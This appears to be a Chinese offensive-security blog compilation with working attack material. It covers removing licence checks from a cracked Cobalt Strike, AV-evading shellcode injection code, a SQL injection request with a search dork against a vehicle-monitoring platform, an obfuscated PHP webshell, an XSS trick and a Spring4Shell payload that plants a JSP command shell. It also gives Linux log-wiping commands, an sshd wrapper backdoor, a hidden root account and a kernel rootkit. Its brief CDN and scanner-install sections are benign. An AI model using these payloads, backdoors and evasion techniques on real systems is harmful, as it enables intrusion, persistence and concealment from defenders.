Cobalt Strike 4.5 所有暗桩

  • 暗桩1:
    beacon.BeaconC2 isPaddingRequired()检测类的 crc。函数调用

    this.data.shouldPad(isPaddingRequired());,30 分钟后,所有任务改为退出命令

  • 暗桩2:

    common.Starter2 initialize() { if (!A(paramClass)) {System.exit(0);} }

    aggressor.dialogs.ConnectDialogserver.Resources 均继承这个类,检测 crc。

  • 暗桩3:

    检测参数是否有 -javaagent:。这个暗桩遍地都是,直接搜关键字慢慢删吧。

  • 暗桩4:

    common.Helper.startHelper 校验文件。

    整个Helper类都是暗桩。

  • 暗桩5:(最阴间的一个)

    beacon.CommandBuilder 类构造函数中初始化,检测 BeaconC2BeaconDataSleevedResourceSleeveSecurity 的 crc 值,若不相等则 4 小时后,所有命令改为 0x06 exit

一次白加黑免杀经历

最近突然想重拾一下免杀,遂随便写了个白加黑注入免杀🐎(注入是因为我希望不影响原有程序的功能)。

选择受害者

一拍脑门选择了国内很流行的某剪辑软件,后面发现这玩意似乎有白名单?

使用 AheadLib+ 一键生成了 DLL hiJacking 源代码,方便后面的修改。

开造

首先参考了 Esuika/Shellcode-With-RC4-AES 项目,选择了直接复制粘贴代码使用 RC4+AES 对 shellcode 进行加密,抛弃了原有(两年前)的 base64+xor 方式。不过我认为 shellcode 的加密方式不在于多,只要能藏住特征就够了。

接下来采用自建 WINAPI 的方式调用注入函数,防止 EDR 静态扫描到函数调用特征。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
typedef BOOL(WINAPI *pCreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef LPVOID(WINAPI *pVirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

typedef BOOL(WINAPI *pWriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);

typedef BOOL(WINAPI *pGetThreadContext)(
HANDLE hThread,
LPCONTEXT lpContext
);

typedef BOOL(WINAPI *pSetThreadContext)(
HANDLE hThread,
LPCONTEXT lpContext
);

typedef DWORD(WINAPI *pResumeThread)(
HANDLE hThread
);

typedef BOOL(WINAPI *pCloseHandle)(
HANDLE hObject
);

const char *CreateP = "CreateProcessA";
const char *VirAloc = "VirtualAllocEx";
const char *WriteMem = "WriteProcessMemory";
const char *GetThreadCxt = "GetThreadContext";
const char *SetThreadCxt = "SetThreadContext";
const char *ResumeT = "ResumeThread";
const char *CloseH = "CloseHandle";

auto MyCreateProcess = (pCreateProcessA) GetProcAddress(hKernel32, CreateP);

BOOL result = MyCreateProcess(nullptr, (LPSTR) "idk.exe", nullptr, nullptr, 0, 0x44u, nullptr,
nullptr, &StartupInfo,
&ProcessInformation);

Context.ContextFlags = 65539; // 设置上下文标志,指示需要获取的上下文信息
MyGetThreadCxt(ProcessInformation.hThread, &Context); // 获取新进程的主线程的上下文
v24 = MyVirtualAlloc(ProcessInformation.hProcess, nullptr, shellSize, 0x1000u,
0x40u); // 在新进程的内存空间中分配空间
MyWriteMen(ProcessInformation.hProcess, v24, v7A, shellSize, nullptr); // 将 payload 复制到新进程的内存空间
Context.Rip = (DWORD_PTR) v24; // 设置新进程的主线程的指令指针(RIP)为 payload 的地址
MySetThreadCxt(ProcessInformation.hThread, &Context); // 更新新进程的主线程的上下文
MyResumeThread(ProcessInformation.hThread); // 恢复新进程的主线程的执行
MyCloseHandle(ProcessInformation.hThread); // 关闭新进程的主线程句柄

这是一个非常简单的远程线程注入方式,因为我懒得写 APC 等等的睾寄注入了。

再加上一点点反检测与控制流平坦化就完成啦!
VT 结果

Ubuntu 下安装 AWVS 所需要的依赖

直接安装会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Acunetix Installer Version: v_240111130, Copyright (c) Acunetix
------------------------------------------------------------

Checking os...
Checking for dependencies...
- dependency libXfixes.so.3 not found on the system
- dependency libgbm.so.1 not found on the system
- dependency libatk-bridge-2.0.so.0 not found on the system
- dependency libpango-1.0.so.0 not found on the system
- dependency libxkbcommon.so.0 not found on the system
- dependency libXcomposite.so.1 not found on the system
- dependency libcups.so.2 not found on the system
- dependency libatspi.so.0 not found on the system
- dependency libXdamage.so.1 not found on the system
- dependency libcairo.so.2 not found on the system
- dependency libXrandr.so.2 not found on the system
- dependency libatk-1.0.so.0 not found on the system
Some dependencies are not found on the system. Aborting installation.
Aborting installation

需要安装依赖

1
apt install libpango-1.0-0 libxi6 libgtk-3-0 libx11-xcb1 libxss1 libgbm-dev

【漏洞复现】通天星 CMSV6 车载定位监控平台 SQL 注入漏洞

漏洞情报来源于互联网收集整理,请勿利用文章内的相关技术从事非法测试。由于传播、利用本文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。本文仅供学习用途使用。

漏洞信息

fofa: body="/808gps/"
exp:

1
2
3
4
5
6
7
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: 114.5.1.4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8
Accept-Encoding: gzip, deflate
Connection: close

发送数据包执行 SQL 语句,延时 5 秒。

一个恶臭的Webshell

项目地址:https://github.com/KawaiiSh1zuku/PHP114514Shell
为什么删了?因为我发现我 shell 里的密码不太好泄露

分析

php 中有一个小小的特性:利用 $$abc 对以 $abc 的值为名字的变量进行赋值,可以以此污染变量。

1
foreach($_POST as $key => $value) $$key = $value;

这段语句就会将 POST 的所有参数设置为变量。
以此为基础可以写出简单的分支对抗语句

1
2
3
4
5
6
7
8
9
10
11
12
foreach($_POST as $key => $value) $$key = $value;
if ($sqlcheck) {
$checker = new sql_security(); // 注意这个类名
if(!$checker -> check_sql($sql)) {
die("杂鱼~杂鱼");
} else {
die("SQL is safe");
}
} else {
$checker = new sql_checker(); // 注意这个类名 和上面是不是不太一样
$checker -> __init__($sql, $sha);
}

然后,可以利用 PHP 子类函数覆盖的特性,构造两个类。一个是正常代码一个是恶意代码。
sql_checker 类继承了 sql_security 类,拥有其中的成员函数,在这里构造恶意代码进行执行。
接下来论证了一段恶臭数字

1
2
3
private function randomInt(){
//此处随意论证数字,只要你能写函数把数字解密出来就ok
}

别以为这是真的 random 嗷,这是用来对付某些只有字符串特征的引擎的。
以生成的数字解密出 system 函数就可以调用了。

当 XSS 遇到 hidden input 标签?

适用情况

1
<input type="hidden" name="returnurl" value="[USER INJECT]" />

那么访问http://victim/?value=xxx"οnclick="alert(document.domain)由于标签被隐藏是无法触发的。
所以需要用到accessKey这个小东西

1
<input type="hidden" name="returnurl" value="xxx" accesskey="X" onclick="alert(document.domain)" />

XSS 触发方法为:
Firefox下:shift+alt+X (测试成功)
Chrome:alt+X (最新版 Chrome 未测试成功)

Spring4shell无web目录泄露时的利用方法

修改appBase,则不需要获取web路径,此payload不常见,github上检索不到。

1
payload:class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/tmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.appBase=/

webshell写入路径:/tmp/shell.jsp

Linux下个人使用的几种权限维持/清除痕迹方法

清除痕迹

内网攻击的时候,打扫战场很重要。

1
2
3
4
5
6
7
8
9
# 下面两行是在 root 被登录后清空命令记录
sed -i '$a echo > ~/.bash_history' ~/.bashrc
sed -i '$a history -r' ~/.bashrc
# 下面三行是清空 ssh 记录
sed -i '$a echo > /var/log/wtmp' ~/.bashrc
sed -i '$a echo > /var/log/btmp' ~/.bashrc
sed -i '$a echo > /var/log/auth.log' ~/.bashrc
# 不记录命令执行
sed -i '$a unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0;' ~/.bashrc

权限维持

ssh_wrapper

@> SSH Wrapper 后门是一种通过篡改 SSH 程序的方式来实现的恶意访问。它的原理涉及到对 SSH 可执行文件的修改,使其在执行正常的 SSH 连接时,同时执行额外的恶意操作。

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是10086就执行sh给个shell。
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo $'exec "/bin/sh" if(getpeername(STDIN) =~ /^..\'f/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

在攻击机执行socat STDIO TCP4:127.0.0.1:22,sourceport=10086即可获得shell
自定义端口可用pythonstruct库实现:

1
2
3
#!/usr/bin/python2
import struct
print repr(struct.pack('>I6',port))

添加root用户

1
useradd -p `openssl passwd -1 -salt 'newuser' 密码` -o -u 0 -g root -G root -s /bin/bash -d 用户目录 用户名

这样会创建出一个权限和root一模一样的用户(实际上UID和GID也是一样的)。

Diamorphine Rootkit

Diamorphine是个LKM rootkit。
@> LKM的全称为Loadable Kernel Modules,中文名为可加载内核模块,主要作用是用来扩展 linux 的内核功能。LKM的优点在于可以动态地加载到内存中,无须重新编译内核。由于LKM具有这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常被骇客用于rootkit技术当中。

项目地址:https://github.com/m0nad/Diamorphine

  • When loaded, the module starts invisible;
  • Hide/unhide any process by sending a signal 31;
  • Sending a signal 63(to any pid) makes the module become (in)visible;
  • Sending a signal 64(to any pid) makes the given user become root;
  • Files or directories starting with the MAGIC_PREFIX become invisible;

非常的强大,非常的好用。除了Diamorphine以外还有很多rootkit,其中一部分还有开设一个后门端口的功能(相当于C2).

总结

上方三种方法可以配合着使用,达到加强权限维持的效果。

谈谈CDN怎么选

刚才在hostloc看见一个帖子说“高防CDN,免费测试,打死退款,支持USDT”。遂对其官网进行测试,发现果然没有什么防护轻松被击落。
就想着写此文讲讲CDN怎么选

CDN的分类

按照阿里云的分类标准,CDN是被分成普通CDN、SCDNDCDNPCDN的。其中PCDN不在本文讨论范围内。

普通的CDN

CDN内容分发网络(Content Delivery Network),解决跨地域跨运营商网络性能问题,提供稳定快速的加速服务,遍布全球的加速节点,全球或出海业务均可获益,面向开发者的生态可自定义加速逻辑,提升用户体验。

普通CDN的特点是只对静态资源进行缓存加速,也没有什么防护能力。但胜在其边缘缓存能力强大,对于静态资源的加速效果是十分显著的。对于一般的个人博客而言,可以大大提升访问速度。
缺点也很明显:不抗揍,挨打就欠费。
如何选择:如果不考虑防护,那么可以无脑选择性价比高的产品入手。往往CDN配置起来不会很复杂,性价比高的产品可能只是稳定性少打折扣而已(打折扣多了就被骂了做不起来了)。

DCDN

全速加速(DCDN)是在CDN加速的基础上升级的产品,智能区分访问的是动态还是静态,静态直接调用阿里云CDN加速,动态会通过协议优化等快速回源拉取内容数据。相比于CDN加速只能静态加速资源,DCDN可同时进行静态和动态的加速。

和普通的CDN相比,仅仅是多了一个动态请求的加速功能。对于大型企业网站、购物站等高并发的站点来说比较有用,对于个人站点来说毫无作用。
怎么选:DCDN很贵,有钱可以任性。

SCDN

SCDN是有安全防护的CDN服务,体现在能够提前预判外界攻击行为,将恶意请求切换到高防IP,无需人工操作,目的是通过数据清洗将恶意流量移除,而让真实用户正常打开页面,这样就可以做到智能加速和安全运行。
目前小厂卖的CDN往往都是SCDN。我本人使用的也是这种类型的。分辨SCDN的优劣可以从以下几个方面入手:

  • 看官方宣传贴下方有无跳脸攻击记录的
  • 看网络测评(不过广告居多)
  • 申请免费测试后自己测试下防护

具体选择方式:根据自己的能力和需求看规则的自定义程度、连接数带宽限制等来选择。

在 Ubuntu 上部署你的灯塔系统

ARL(Asset Reconnaissance Lighthouse)资产侦察灯塔系统旨在快速侦察与目标关联的互联网资产,构建基础资产信息库。 协助甲方安全团队或者渗透测试人员有效侦察和检索资产,发现存在的薄弱点和攻击面。
这是一个非常棒的信息收集工具,特别是在挖掘src漏洞的时候,前期的信息收集,个人感觉这款系统效果显著。集成于web界面,指纹识别,fofa采集,敏感泄露,子域名,c段,截图等…各种功能。

官方给出的一键安装脚本只支持了 CentOS 为了保险起见我采用手动安装的方式。
那么开始吧!

安装 Docker

为了方便管理,还是使用 Docker 容器的方式来运行 ARL 比较好。
Docker 官方给出了自动安装的脚本,那么我们就不用手动配置了。

1
2
3
4
apt update
apt upgrade
curl -fsSL https://get.docker.com | bash -s docker
apt install docker-compose -y

使用以上命令,将会安装 Docker 与 Docker Compose。

安装 ARL

先下载好 ARL 的包:

1
2
3
4
5
mkdir -p docker_arl
cd docker_arl
wget https://github.com/TophantTechnology/ARL/releases/download/v2.6/docker.zip
unzip docker.zip
rm -rf docker.zip

修改一下配置文件,把该开的开开,并且解除对于某些网站的屏蔽。
改掉这段
继续安装。

1
2
docker volume create --name=arl_db
docker-compose up -d

至此,已成艺术安装成功。

完事之后别忘了添加下指纹。

1
2
3
git clone https://github.com/loecho-sec/ARL-Finger-ADD
cd ARL-Finger-ADD
python ARL-Finger-ADD.py https://127.0.0.1:5003/ admin arlpass
Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×